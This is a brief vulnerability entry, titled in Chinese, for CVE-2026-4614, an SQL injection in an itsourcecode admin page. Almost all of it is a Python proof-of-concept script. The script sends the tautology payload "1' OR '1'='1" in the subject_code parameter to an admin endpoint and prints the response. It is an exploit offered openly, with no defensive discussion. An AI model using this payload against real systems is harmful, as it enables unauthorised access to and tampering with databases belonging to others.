CVE-2026-4614 itsourcecode参数处理SQL注入漏洞

import requests # Target URL (example) target_url = "http://target.com/admin/subjects.php" # Payload for SQL Injection (Error-based or Boolean-based) # Attempting to cause a syntax error or logic change payload = { "subject_code": "1' OR '1'='1" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("Request sent successfully. Check response for SQL behavior.") print(response.text[:500]) # Print first 500 chars of response else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")